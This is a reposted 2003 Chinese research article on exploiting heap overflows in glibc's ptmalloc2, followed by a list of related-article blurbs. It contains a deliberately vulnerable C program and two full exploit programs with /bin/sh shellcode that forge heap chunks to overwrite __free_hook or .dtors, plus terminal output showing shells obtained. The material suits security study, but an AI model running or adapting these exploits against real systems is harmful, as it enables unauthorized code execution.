【分析】ptmalloc2的堆溢出利用初探

64位Linux堆溢出漏洞利用:从原理到Root权限实战 堆溢出是二进制安全领域中的一种经典内存破坏漏洞,它发生在程序动态分配的内存区域。当程序向堆缓冲区写入数据时,若缺乏边界检查,超出的数据会覆盖相邻堆内存的元数据,从而破坏堆管理器的内部结构。理解堆溢出原理对于掌握现代系统安全防护至关重要,其技术价值在于能够绕过ASLR、NX等现代防护机制,实现任意代码执行。在CTF竞赛和真实渗透测试中,堆溢出常被用于获取系统控制权,例如通过Tcache Poisoning等技术实现任意地址读写,最终劫持程序控制流执行系统命令。本文聚焦于64位Linux环境,深入拆解堆溢出漏洞 阅读详情

ptmalloc2的堆溢出利用初探


创建时间:2003-09-18
文章属性:转载
文章来源:backend [at] nsfocus.com
文章提交: watercloud (watercloud_at_xfocus.org)

原文章贴于Unix Hacking版,在讨论新版本glibc堆管理中backend整理的一篇文章。
讨论参考:
https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28202


ptmalloc2的堆溢出利用初探


By backend at nsfocus.com
Date: 2003-09-16


★ 目录

  起因
  原因
  分析
  突破
  代码
  例外
  结束
  参考


★ 起因

先看一下本文的漏洞程序:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int foo(char *s1,char *s2)
{
        strcpy(s1,s2);
        printf("input:%s/r/n",s1);
        return 0;
}

main(int argc,char **argv)
{
        char *p1;
        char *p2;

        if(argc<2)
        {
                printf("Usage:%s <string>/n",argv[0]);
                exit(0);
        }
        if(strlen(argv[1])>100-1)
        {
                printf("ERROR:too long/n");
                exit(0);
        }
        p1=(char *)malloc(20);
        p2=(char *)malloc(100);
        memset(p1,0,20);
        memset(p2,0,100);
        strcpy(p2,argv[1]);
        foo(p1,p2);
        free(p1);
        free(p2);
        printf("END./n");
        exit(0);
}

$ gcc -o heapvul heapvul.c

对于旧版本的glibc库,代码采用的是Doug Lea的malloc实现,因此攻击是非常简单的。
根据warning3在2001年初发表的《一种新的Heap区溢出技术分析》
( http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847),很容
易就能写出以下攻击代码:

/* Compile: gcc -o ex1 ex1.c */

#include <stdio.h>
#include <stdlib.h>

#define __FREE_HOOK     0x40163700
#define VULPROG "./heapvul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char shellcode[] =
  "/xeb/x0a/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

main (int argc, char **argv)
{
  unsigned int codeaddr = 0;
  char buf[40], fake_chunk[16];
  char *env[2];
  unsigned int *ptr;

  codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  env[0] = shellcode;
  env[1] = NULL;

  /* 伪造一个块结构 */
  ptr = (unsigned int *) fake_chunk;
  *ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
  /* 设置长度为-4,这个值应当是4的倍数 */
  *ptr++ = 0xfffffffc;
  *ptr++ = __FREE_HOOK - 12 ;
  *ptr++ = codeaddr;

  bzero(buf, 40);
  memset (buf, 'A', 16); /* 填充无用数据 */
  memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));

  execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

[backend@redhat72 nsfocus]$ uname -a
Linux nsfocus 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
gcc -o ex1 ex1.c
[backend@redhat72 nsfocus]$ ./ex1
input:AAAAAAAAAAAAAAAAD3"??@??
sh-2.05$

但是上面这段代码在Red Hat 8系统上不能成功:

[backend@redhat8 nsfocus]$ gcc -o ex1 ex1.c
input:AAAAAAAAAAAAAAAAD3"?癮B??
Segmentation fault (core dumped)


★ 原因

这是因为在新版本的glibc库中堆内存管理采用了Wolfram Gloger的ptmalloc/ptmalloc2
代码。ptmalloc2代码是从Doug Lea的代码移植过来的,主要目的是增加对多线程(尤其
是SMP系统)环境的支持,同时进一步优化了内存分配、回收的算法。

由于在ptmalloc2中引入了fastbins机制,malloc()/free()溢出在某些条件下会受到更
多的限制,虽然作者的本意并不是针对溢出攻击。由于fastbins是单向链表数组,每一
个fastbin是一个单向链表,满足fastbins条件的内存块回收时将被放入相应的fastbin
链表中,以便在以后的
内存申请时能更快地再被分配出去,从而提高性能。因此要利用ptmalloc2的堆溢出(指
free()调用,以下同),首先必须绕过fastbins机制。

除此之外,free()的实现代码与旧版本的也有不同,fake_chunks的创建和利用也必须有
所改变。下面就开始针对源代码中free()的各种检查条件来探索。


注意!!!在继续阅读以下内容之前,请确保你已经了解warning3的《一种新的Heap区
溢出技术分析》中所涉及的知识,尤其是chunk的结构和unlink的操作,否则你也许会
觉得有点晕头转向。;)


★ 分析

要达到利用free()函数调用来攻击的目的,需要满足以下跫?br />
1、通过某些漏洞(例如堆溢出)来覆盖将要被free()的chunk
2、在被覆盖chunk的位置上构造fake_chunk
3、fake_chunk要确保在free()函数调用过程中运行unlink宏
4、unlink宏所操作的内存将修改程序的流程

在上面的heapvul.c程序中,由于p1指向的是malloc(40)内存,这块内存在free()回收
时由于满足fastbins条件而被直接放入某个fastbin链表中:

    /*
      If eligible, place chunk on a fastbin so it can be found
      and used quickly in malloc.
    */

    if ((unsigned long)(size) <= (unsigned long)(av->max_fast)    // 满足fastbins条件

#if TRIM_FASTBINS
        /*
           If TRIM_FASTBINS set, don't place chunks
           bordering top into fastbins
        */
        && (chunk_at_offset(p, size) != av->top)
#endif
        ) {

      set_fastchunks(av);
      fb = &(av->fastbins[fastbin_index(size)]);                  // 此处三行代码将内存块插

入相应fastbin链表
      p->fd = *fb;
      *fb = p;
    }

而因为p1的chunk结构头部我们无法控制,所以free(p1)是利用不了了。
那么free(p2)呢???


★ 突破

由于通过利用p1指向的内存块过小且没有边界检查,我们能够覆盖(控制)p2所指向内
存块的chunk结构头部,也就是说free(p2)时的操作将依赖于覆盖内容,即满足了第1、
2个条件。因此我们只要精心构造fake_chunk,就完全有可能满足第3、4个条件,从而
使攻击成功。

分析_int_free()(free()的真正实现代码):

A)(代码见上面,)使p2不满足fastbins条件

  即:fake_chunk->size > 72(av->max_fast缺省值)                       <--- A

B) else if (!chunk_is_mmapped(p)) {
      nextchunk = chunk_at_offset(p, size);
      nextsize = chunksize(nextchunk);
      assert(nextsize > 0);

  即:fake_chunk->size & IS_MMAPPED == 0 (#define IS_MMAPPED 0x2)    <--- B1
    (fake_chunk+size)->size > 0                                       <--- B2

C) 接下来:

      /* consolidate backward */
      if (!prev_inuse(p)) {
        prevsize = p->prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(p, bck, fwd);                                       /* #1 */
      }

      if (nextchunk != av->top) {
        /* get and clear inuse bit */
        nextinuse = inuse_bit_at_offset(nextchunk, nextsize);             <--- @_@

        /* consolidate forward */
        if (!nextinuse) {
          unlink(nextchunk, bck, fwd);                             /* #2 */
          size += nextsize;
        } else
      clear_inuse_bit_at_offset(nextchunk, 0);

        /*
          Place the chunk in unsorted chunk list. Chunks are
          not placed into regular bins until after they have
          been given one chance to be used in malloc.
        */

        bck = unsorted_chunks(av);
        fwd = bck->fd;
        p->bk = bck;                                               /* #3 */
        p->fd = fwd;
        bck->fd = p;
        fwd->bk = p;

        set_head(p, size | PREV_INUSE);
        set_foot(p, size);

        check_free_chunk(av, p);
      }

可以看到有两个地方调用了unlink。第一个unlink(#1)的条件是前一内存块未被使
用,由于PREV_INUSE就在当前内存块的size中,似乎最容易控制,但由于后面还有一段
代码(#3),这段代码还会再一次修改已经被我们(通过unlink操作)改写的内存(
注:在这里主要是shellcode的入口会被bck覆盖)。因此我们把目标转向第二个unlink
(#2),它要求满足两个条件:

  nextchunk不是top块(堆边界),这个绝大多数情况下都符合;

  下一个chunk块未被使用,即再下一chunk块的PREV_INUSE位为0。             <-- C

至此,如果上述条件都能满足,则将调用到unlink,从而修改我们指定的内存(注意,
地址由下一个chunk块的fd/bk指针决定!)。
下面该做的就是一步步地确定如何构造各个fake_chunk了:

首先,所有的fake_chunk都不能含有零字符,否则会遇到字符串截断问题。同时所有
fake_chunk的IS_MMAPPED位均为零。(满足条件B1)

(fake_chunk1即free(p2)时首先检查的chunk,其作用是让_int_free()计算出
fake_chunk2的位置。)
第一,fake_chunk1->pre_size(PSZ1),暂时没有要求(当然最好对齐)。
第二,fake_chunk1->size(SZ1)要大于72(max_fast);同时PREV_INUSE位置1,以
   使#1的unlink不被触发(这样我们就不用考虑PSZ2了;))。
第三,fake_chunk1->fd(FD1),暂时没有要求(当然最好对齐)。
第四,fake_chunk1->bk(BK1),同FD1。

(fake_chunk2的作用至关重要,它将使unlink“合法”地释放自己,即修改内存!)
第五,fake_chunk2->pre_size(PSZ2),同PSZ1。
第六,fake_chunk2->size(SZ2),要求SZ>0且(fake_chunk2+SZ2)->size & PREV_SIZE
   为零。
第七,fake_chunk2->fd(FD2),指向要修改内存的地址-12。
第八,fake_chunk2->bk(BK2),指向shellcode。

接着,我们要进一步确定各个字段的数值:

对于PSZ1和PSZ2,取值如:0x11223344

对于SZ1,由于fake_chunk2的定位依赖于SZ1,
  如果取正值,会很大(因为各字节不能为零),可以取适当值使fake_chunk1+SZ1
位于堆栈的环境变量中,然后把fake_chunk2通过环境变量输出。这样有一个缺点是不
容易定位,因为不能精确定位fake_chunk1地址,只能通过猜测。
  如果取负值呢???我们可以回过头来再看看_int_free()的代码,可以惊奇地发
现居然是允许的!!!呵呵,这样就好办了。我们可以把fake_chunk2放到fake_chunk1
前面!SZ1取值0xfffffff0(-16)。(满足条件A)

对于FD1和BK1,取值如:0x08080808

对于SZ2,乍看之下可以任意取值,只要(fake_chunk2+SZ2)->size & PREV_SIZE为零即
可(偶当时调试时主要就卡在这里),其实不然。在@_@处的代码是读内存操作,如果
内存页面不存在,会导致缺页异常。因此我决定让fake_chunk2+SZ2指向一个必然存在
内存页表的空间--用户堆栈的最高一页(即0xbffff000-0xbfffffff),即SZ取值
(0xbffff800 - bss_addr)。(满足条件B2和条件C)

对于FD2,由于可以利用的内存地址很多,我这里选择的是静态确定的.dtors段,即FD
取值(dtors_addr + 4 - 12)。

对于BD2,用环境变量输出shellcode是最容易确定地址的方法之一。

现在,我们可以画出伪造前后的内存分布示意图了:

+-> 块1                                   +-> 块2                    
|                                         |
+----------------+------------------------+----------------------------+
|prev_size| size |        16bytes         |prev_size2| size2 |任意数据
+----------------+------------------------+----------------------------+


+----------------+------------------------+----------------------------+
|prev_size| size | PSZ2 | SZ2 | FD2 | BK2 | PSZ1 | SZ1 | FD1 | BK1 |
+----------------+------------------------+----------------------------+
                 |                        |
                 +-> fake_chunk2          +-> fake_chunk1


★ 溢出代码

/* Concept-of-proof exploit for free() @ Wolfram Gloger's ptmalloc2
*
*  By backend at nsfocus.com ( http://www.nsfocus.com)
*  Date: 2003-09-15
*
*  Compile: gcc -o ex2 ex2.c -lbfd
*/
#include <stdio.h>
#include <stdlib.h>
#include <bfd.h>
#include <strings.h>
#include <linux/elf.h>

#define VULPROG "./heapvul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

#define bfd_error(s)    { bfd_perror(s); exit(-1); }

unsigned int bss_addr, dtors_addr;

void GetBfdInfo ()
{
        bfd                     *abfd;
        asection        *asec;

        bfd_init ();

        abfd = bfd_openr (VULPROG, NULL);
        if (!abfd) bfd_error("openr");

        if (!bfd_check_format (abfd, bfd_object))
                bfd_error("object format");

        asec = bfd_get_section_by_name (abfd, ".bss");
        if (!asec) bfd_error(".bss section");
        bss_addr = (unsigned int)(asec->vma);

        asec = bfd_get_section_by_name (abfd, ".dtors");
        if (!asec) bfd_error(".dtors section");
        dtors_addr = (unsigned int)(asec->vma);

        bfd_close (abfd);
}

char shellcode[] =
  "/xeb/x0a/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

main (int argc, char **argv)
{
  unsigned int codeaddr = 0;
  char buf[40], fake_chunks[40];
  char *env[2];
  unsigned int *ptr;

  codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  env[0] = shellcode;
  env[1] = NULL;

  GetBfdInfo ();

  bzero(fake_chunks, 40)
  ptr = (unsigned int *)fake_chunks;
  *ptr++ = 0x11223344;    /* garbage */
  *ptr++ = (0xbffff800 - bss_addr) & ~(IS_MMAPPED | PREV_INUSE);
  *ptr++ = dtors_addr + 4 - 12;
  *ptr++ = codeaddr;
  *ptr++ = 0x11223344;    /* garbage */
  *ptr++ = -16 | PREV_INUSE & ~IS_MMAPPED;
  /* garbage
  *ptr++ = 0x08080808;
  *ptr++ = 0x08080808;
  */
  
  bzero(buf, 40);
  memcpy (buf, fake_chunks, sizeof (fake_chunks));

  execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

[backend@redhat8 nsfocus]$ gcc -o ex2 ex2.c -lbfd
[backend@redhat8 nsfocus]$ ./ex2
input:D3"`ǜ焟3"?
END.
sh-2.05b$


★ 例外

  ptr = (unsigned int *)fake_chunks;
  *ptr++ = 0x11223344;
  *ptr++ = (0xbffff800 - bss_addr) & ~(IS_MMAPPED | PREV_INUSE);
  *ptr++ = dtors_addr + 4 - 12;
  *ptr++ = codeaddr;
  *ptr++ = 0x11223344;
  *ptr++ = -16 | PREV_INUSE & ~IS_MMAPPED;

上面给出的代码有几个可能导致失败的地方--

bbs_addr!!!
dtors_addr!!!
codeaddr!!!

其中前两个值是编译后静态(直接从文件头读取),而codeaddr对于固定系统来说也是固定不变的。
当这三个地址值中只要在计算结果后存在一个00(即零字符),就会导致字符串拷贝截断问题!!!

在我的RH8测试机上,未加memset(p2,0,100)时:
bss_addr at: 0x8049734
dtors_addr at 0x80496f8
fake_chunks len: 24
溢出成功。

当加上memset(p2,0,100)时:
bss_addr at: 0x8049744
dtors_addr at 0x8049708
fake_chunks len: 8
溢出失败!

看到了吗?dtors_addr的最低字节为08,dtors_addr + 4 - 12 = 0x8049700,所以导致
fake_chunks的字符串长度只有8了!!!

验证:修改任意无关指令(例如删除prinf()、增加printf())。例如在我的测试机上把
printf("END./n");
改为(或删除也行):
printf("END.");
printf("/n");
后,重编译运行结果:
bss_addr at: 0x8049754
dtors_addr at 0x8049718
fake_chunks len: 24
input:D3"琡?緿3"?
END.
sh-2.05b$

如果无法修改源代码的呢?也还有很多种可选方案,例如修改GOT、修改函数指针、修改
EBP、修改函数返回地址,等等。当然难度可能就不一定一样了。


★ 结束语

上面简单介绍了在新版本glibc下如何通过free()调用来利用堆溢出。可以看到由于引
入了fastbins机制,malloc/free等调用会随具体情况不同而可能略有差异。例如,
free()一块large chunk与一块small chunk是不一样的,即使都是small chunk,还有
是否属于fastbins之分,等等。而对于exploit爱好者,设计构造fake_chunks也很有
乐趣。如何在把堆放到栈中?;)如何伪造chunk结构?覆盖哪些地址?如何调试?
…………这些问题就留给感兴趣的读者吧。

在即将写完这篇东东之际,发现bkbll在2003年9月初也发表了一篇研究相同问题的文章
《一种小堆(heap)溢出的另类利用方法》
( http://www.nsfocus.net/index.php?act=sec_doc&do=view&doc_id=867)。不妨对
照着研究,也许会有新的发现。



★ 参考文献

[1] warning3, <<一种新的Heap区溢出技术分析>>
     http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847

[2] Doug Lea, <<A Memory Allocator>>
     http://gee.cs.oswego.edu/dl/html/malloc.html

[3] Wolfram Gloger, ptmalloc2 source code
     http://www.malloc.de/malloc/ptmalloc.tar.gz
CTF堆溢出漏洞利用实战:ciscn_2019_ne_5题解 堆溢出是二进制安全中的经典漏洞类型,主要源于程序对堆内存管理不当。其原理是通过覆盖堆块元数据或相邻内存,实现任意地址读写。在CTF竞赛和实际渗透测试中,这类漏洞常与Use-After-Free(UAF)结合,可绕过ASLR、NX等现代防护机制。以glibc的ptmalloc2分配器为例,通过构造特殊堆布局触发unlink操作,能够篡改GOT表实现控制流劫持。本文以全国大学生信息安全竞赛真题ciscn_2019_ne_5为例,详解如何利用fastbin特性泄露堆地址,并配合UAF漏洞完成从漏洞定位到getsh 阅读详情

相关推荐

栈溢出与堆溢出漏洞利用对比:从原理到CTF Pwn题实战的5个关键差异

本文深入对比了栈溢出与堆溢出漏洞在原理和CTF Pwn题实战中的5个关键差异,包括内存结构、利用手法、防护绕过策略等。通过详细分析缓冲区溢出漏洞的利用方式,帮助安全研究人员和CTF选手掌握这两种经典漏洞的攻防技巧,提升二进制安全实战能力。

weixin_29323049的博客 365

堆机制利用之fastbin

堆机制利用之fastbin 前半部分:基于libc2.23(无tcache) 堆机制(fastbin等) 想要了解堆的机制利用方法必须要先了解堆的基本机制以及结构 目前主要使用的内存管理库是ptmalloc,而在ptmalloc中,用户请求的空间由名为chunk的数据结构表示 下面就是一个标准的chunk结构 该chunk中,**prev_size参数为前一chunk(如果未被使用)的大小,size参数为该chunk的大小,而P参数(pre_insue)为标志位,标志前一个chunk的使用情况。**而上述

weixin_48066554的博客 2575

Linux内核堆溢出漏洞利用:从SLUB原理到实战提权

堆溢出是内存安全领域的经典漏洞类型,其原理在于程序向堆内存区域写入数据时超出了预定边界,从而覆盖了相邻的关键数据。在Linux内核环境中,这一漏洞的利用技术发生了根本性变化,其核心在于深入理解SLUB分配器的管理机制。SLUB作为内核默认的堆分配器,其内嵌式空闲链表(freelist)设计在提升性能的同时,也引入了可通过溢出篡改指针实现任意地址分配的关键攻击面,这构成了权限提升(提权)的技术基础。通过堆风水(Heap Feng Shui)技术塑造可预测的内存布局,攻击者能够将溢出转化为稳定的利用链,最终实现

weixin_30245867的博客 433

perftools查看JVM堆外内存

转自http://koven2049.iteye.com/blog/1142768 最近线上运行的hbase发现分配了16g内存,但是实际使用了22g,堆外内存达到6g。感觉非常诡异。堆外内存用一般的工具很难查看,可以通过google-perftools来跟踪:  http:

zhangren07的专栏 8679

内核堆溢出实战:从SLUB原理到tty_operations劫持提权

堆溢出是软件安全领域的经典漏洞类型,其核心原理在于程序向分配的堆内存块写入超出其边界的数据,从而破坏相邻内存区域的数据结构。在Linux内核中,小内存分配由SLUB分配器管理,它通过kmem_cache组织不同大小的对象,并利用freelist单链表实现快速分配。理解SLUB的分配与释放机制(如CPU本地缓存freelist、partial slab链表)对于漏洞利用至关重要,因为它决定了溢出后能够覆盖或影响哪些内核对象。这种技术在内核漏洞利用中具有极高价值,能够实现权限提升或系统控制。典型的应用场景包括C

weixin_34367257的博客 491

从CISCN&长城杯赛题看PWN:堆溢出与栈溢出的实战攻防解析

本文以CISCN和长城杯CTF赛题为例,深度解析PWN中堆溢出与栈溢出的实战攻防。通过剖析‘anote’堆溢出漏洞的利用链构造与函数指针劫持,以及‘novel1’栈溢出漏洞的ROP链构建与栈迁移技术,为安全研究人员提供了从漏洞发现到EXP编写的完整实战思路。

weixin_29228203的博客 236

Glibc内存管理--ptmalloc2源代码分析(十二)

5. 源代码分析 分主要对源代码实现技巧的细节做分析,希望能进一步理解 ptmalloc 的实现,做到终极无惑。主要分析的文件包括 arena.c 和 malloc.c ,这两个文件包括了 ptmalloc 的核心实现,其中 arena.c 主要是对多线程支持的实现, malloc.c 定义了公用的 malloc() , free() 等函...

iteye_7858的博客 539

OCC入门指南:从零开始掌握Open CASCADE Technology

本文是Open CASCADE Technology(OCC)的入门指南,详细介绍了这款开源C++三维几何建模内核的核心概念与价值。内容涵盖从零开始搭建开发环境、编写第一个显示立方体的程序,到深入理解其几何与拓扑核心、掌握Draw测试工具及Handle内存管理等关键编程范式,旨在帮助开发者快速掌握这一工业级CAD/CAE/CAM应用开发利器。

java5的博客 1276

内存管理(一) ptmalloc基础知识

本文讨论了: 1.ptmalloc的简单概念 2.各种chunk 3.bin数组以及brk和mmap       1.ptmalloc的简单概念       glibc在开始的时候malloc是不支持多线程的,但是在glibc_2.3x中集成了ptmalloc2,也就是平常使用的malloc。这就实现了对多线程编程的支持。本文将讨论ptmalloc的整个malloc(),free

qq_33225741的博客 2070

【老生谈算法】可视化通道流中瞬时涡量场的算法实现与MATLAB源码分析——瞬时涡量场

本文旨在探讨可视化通道流中瞬时涡量场的方法,并通过MATLAB编程实现这一过程。涡量场作为描述流体旋涡强度和方向的重要物理量,对于理解复杂流体运动具有重要意义。本文首先介绍了涡量场的基本概念,随后详细阐述了从测量数据收集到涡量场可视化的完整流程,并给出了相应的MATLAB源码。通过实际运行该源码,我们展示了涡量场的可视化结果,并讨论了其在流动结构识别和动力学行为理解中的应用。关键词: 涡量场;流体运动;MATLAB;可视化;PIV一、引言。

m0_53407570的博客 1127

数据仓库ODS层详解- 功能、设计与最佳实践

数据仓库ODS层是大数据分析的基石,为企业决策提供可靠数据源。本文深入探讨ODS层设计原则、实施要点和最佳实践,涵盖金融、零售等行业应用。重点关注云环境下ODS层部署策略,以及实时数据集成、数据湖技术等创新趋势。文章还分析了数据体量增长、实时性需求等挑战,提供实用解决方案。whether助您构建高效、安全、可扩展的ODS层,为数字化转型奠定坚实基础。#数据仓库 #ODS层 #大数据分析 #云计算 #数据湖

一个8年大数据开发工程师的碎碎念 1万+

ptmalloc2

本文参考华庭(庄明强)的ptmalloc2 源码剖析 简介: ptmalloc实现了malloc(),free()以及一组其他函数,以提供动态内存管理,同时支持多线程。分配器处于用户空间和内核空间之间,响应用户的分配请求,向操作系统申请内存。总体思想是先“批发”一块大内存,而后“零售”给用户,同时也实现了高效的回收机制。 Main_area / non_main_area(...

weixin_34357887的博客 462

昇腾AI处理器Ascend C编程:从C/C++基础到高性能算子开发实战

异构计算是提升AI算力效率的核心技术,通过在CPU之外引入专用处理器(如GPU、NPU)协同工作,实现大规模并行计算。其原理在于将计算密集型任务卸载到专用硬件,利用其高并行架构加速处理。技术价值在于突破传统CPU的算力瓶颈,为深度学习训练与推理提供强大动力,广泛应用于模型部署、科学计算和高性能计算场景。本文聚焦昇腾AI处理器的原生编程语言Ascend C,它基于C/C++标准扩展,通过显式内存管理和任务并行模型,充分发挥达芬奇架构中Cube与Vector单元的性能。针对CANN算子开发,文章详解了从环境搭建

weixin_34411563的博客 369

堆溢出基础——ptmalloc源码分析

0x00 前言 决定学习堆溢出很久了但却因为内心对源码的恐惧一直不愿意解出这块内容,于是在实习面试的时候被问到linux的内存管理一脸懵逼啥都不会。。。。痛定思痛利用一周末时间将堆的实现硬着头皮看了一遍,现在记录如下。 参考内容: CTFwiki 深入理解堆的实现 Glibc内存管理Ptmalloc2源代码分析 0x01 操作系统内存分配的相关函数 brk()系统调用与sbrk()...

dydxdz的博客 1339

倍福--TwinSAFE功能块的使用

在安全模块的程序设计中,输入变量取反,或者把PLC的变量连接到安全的功能块程序中, 操作流程 1.1. 功能块输出取反 例如修改IN,右击属性,然后可在Single-Channel选项中选择是NO还是NC的输入信号。 1.2. PLC标准变量作为安全程序的输入 1.2.1. 建立两个PLC变量 1.2.2. 安全程序区创建变量 1.2.3. 功能块变量链接 首先,PLC变量不能直接连到Estop功能块的输入变量中,否则会报错,但PLC可以连接到SafeAnd这些功能块,然后再转出来,如下所示

weixin_41883890的博客 5315

Android16 RK3576 Bluetooth source和sink模式切换

摘要:本文介绍了在RK3576平台上实现蓝牙A2DP模式动态切换的修改方案。通过在device配置文件中添加A2DP Sink相关属性,修改Bluetooth模块代码实现:1)在Config.java中增加persist.bluetooth.rka2dpsink属性控制模式切换;2)修改A2dpSinkStreamHandler.java取消音频焦点限制;3)调整btif_a2dp_sink.cc默认授予音频焦点。最终通过设置persist.bluetooth.rka2dpsink属性为true/false

tzj1058756809的博客 864

深入解析ptmalloc2堆溢出与Fastbin Attack攻击原理

堆溢出是C/C++程序中常见的内存安全漏洞,其本质是程序在堆内存区域进行数据写入时超出了预分配边界,破坏了相邻内存结构。这种漏洞的利用基础在于理解内存分配器的内部机制,特别是Linux系统默认使用的ptmalloc2分配器。ptmalloc2通过Chunk结构管理堆内存,每个Chunk包含大小信息和状态标志位,而空闲Chunk则通过fd指针链入fastbin等空闲链表。当发生堆溢出时,攻击者可以覆盖相邻Chunk的元数据,尤其是fastbin链表中Chunk的fd指针。通过精心构造的溢出数据,攻击者能够篡改

weixin_29325007的博客 239

Python与CAD系列基础篇(十)图形复制、移动、删除

①通过pyautocad连接AutoCAD进行处理②通过ezdxf处理dxf格式文件。进行图形复制、移动、删除的方法。pyautocad方式。pyautocad方式。

weixin_43894929的博客 2210

0ctfbabyheap2017WP——堆溢出fastbin attack初探

从栈溢出进入堆溢出,漏洞利用的复杂度上了一个大台阶,主要是因为 ptmalloc 内存管理器对于堆管理设计了复杂的数据结构和算法,要想进入堆溢出的学习,就必须厘清它们之间的关系。本文将从一个经典的例子——0ctfbabyheap2017 来介绍一个初级的 fastbin attack 以初探堆溢出攻击。

GeekCmore的博客 883

让 ABAP 再次优雅:全面认知 ABAP Development Tools for SAP HANA(ADT)与可运行示例

本文介绍了ABAP开发工具ADT(ABAP Development Tools for SAP HANA)的核心概念与价值。ADT是基于Eclipse的现代化ABAP集成开发环境,支持ABAP Platform、S/4HANA等后端开发,提供代码编辑、CDS数据建模、质量检查等全流程功能,相比传统SAP GUI具有显著优势。文章详细阐述了ADT与SAP HANA的关系、关键能力模块(如代码重构、CDS建模、质量管控等),并通过一个制造企业案例说明其实际应用场景。最后提供了ADT安装指南和一个完整的ABAP

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 673

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

堆溢出入门

基础知识篇——堆内存和栈内存: https://blog.youkuaiyun.com/qq_41498261/article/details/83583466

Sakura给爷pwn全场 392

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

深入理解Ptmalloc2

linux动态内存管理机制ptmalloc

m0_74355719的博客 1788

贝叶斯统计 [韦来生编]

贝叶斯(Bayes)统计是近几十年来迅速发展起来的数理统计的一个重要分支。贝叶斯方法与经典统计方法的主要不同之处是进行统计推断时除了利用样本信息外,还要利用参数的先验信息,因此可以提高统计推断或统计决策的效果。它在经济、金融、生物、医学、自然科学和社会科学等许多领域具有广泛的应用。贝叶斯方法的研究已渗透到了统计学的几乎所有领域。作者在给中国科学技术大学概率论与数理统计专业本科生开设的“数理统计”课程中有一章专门讲授“贝叶斯方法和统计决策理论”,近十年来也给中国科学技术大学概率统计专业研究生开设过几次“贝叶斯分析”课。本书是在对过去讲稿的内容作了适当的增减和调整的基础上完成的。  本书共分六章。第1章是绪论,介绍了贝叶斯统计的若干基本概念,同时对必要的数理统计的基础知识有重点地作了回顾。第二章介绍了确定先验分布的若干可供选择的方法。第三章介绍了几类常见统计模型参数的后验分布的主要结果和计算方法。第四章和第五章分别介绍了“贝叶斯统计推断”和“贝叶斯统计决策”的内容。第六章介绍了贝叶斯统计计算的若干方法,包括蒙特卡洛方法和马尔可夫链蒙特卡洛(MCMC)方法以及相关统计软件的简介。本书的每一章附右大量的例题和习题,书末附有常用的几个表格和部分习题解答供读者查用。  大约可在54学时内讲授本书的第1章至第六章的主要内容,教师可根据学时需要选讲本书第1章至第六章的部分内容。书中标“*”号的章节可略去不讲,留给读者作为阅读材料。第六章例题中的R代码和部分例题的数据文件等可从作者个人主页下载。  作者在编写本书的过程中参考了J.O.Berger教授的《统计决策论及贝叶斯分析》和茆诗松教授编写的《贝叶斯统计》等书中的一些内容,以及《贝叶斯分析》一书中由张伟平博士编写的有关贝叶斯统计计算的一些内容。在此表示衷心感谢。  本书编写准备过程中,中国科学技术大学统计与金融系的几个研究生帮助完成了本书部分中文的录入和排版,作者对他们的辛勤工作表示真诚的感谢。高等教育出版社为本书的出版给予了大力支持。在此一并致谢。

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

二进制安全:ptmalloc内存管理机制与堆块chunk源码分析

Ptmalloc内存管理概述:简介:ptmalloc 实现了 malloc(),free()以及一组其它的函数. 以提供动态内存管理的支持。分配器处在用户程序和内核之间,它响应用户的分配请求,向操作系统申请内存,然后将其返回给用户程序,为了保持高效的分配,分配器一般都会预先分配一块大于用户请求的内存, 并

「鸿渐之翼」的博客 2777

【学习记录】Week8(四):从整数漏洞到堆溢出——实战利用与完整EXP构造

本文系统讲解了如何将整数漏洞转化为堆溢出攻击的实战技术。首先介绍了必要的环境配置和工具链,包括GDB、IDA Pro等调试分析工具。然后深入分析了整数截断、符号转换等漏洞原理,以及如何通过这些漏洞绕过长度检查实现堆溢出。重点讲解了Unlink、Fastbin Attack等堆利用技术,并通过pwn2_sctf_2016案例演示了从漏洞触发到获取shell的完整过程。最后探讨了绕过ASLR、NX等防护机制的方法,并总结了整数漏洞到堆溢出的转化在二进制安全中的重要性。文章强调理解这种漏洞链对攻防双方的关键作用,

2302_80441878的博客 98

手把手调试:用GDB/Pwndbg动态分析HITCON stkof的unlink利用全过程

本文通过GDB/Pwndbg动态分析HITCON stkof的unlink利用全过程,详细拆解堆溢出漏洞的利用技巧。从初始堆布局观察到伪造chunk触发unlink操作,再到劫持GOT表获取shell,手把手演示了内存欺骗的艺术。重点关注Partial RELRO环境下如何通过unlink攻击实现任意地址写,为堆漏洞利用提供实战参考。

weixin_42540248的博客 323

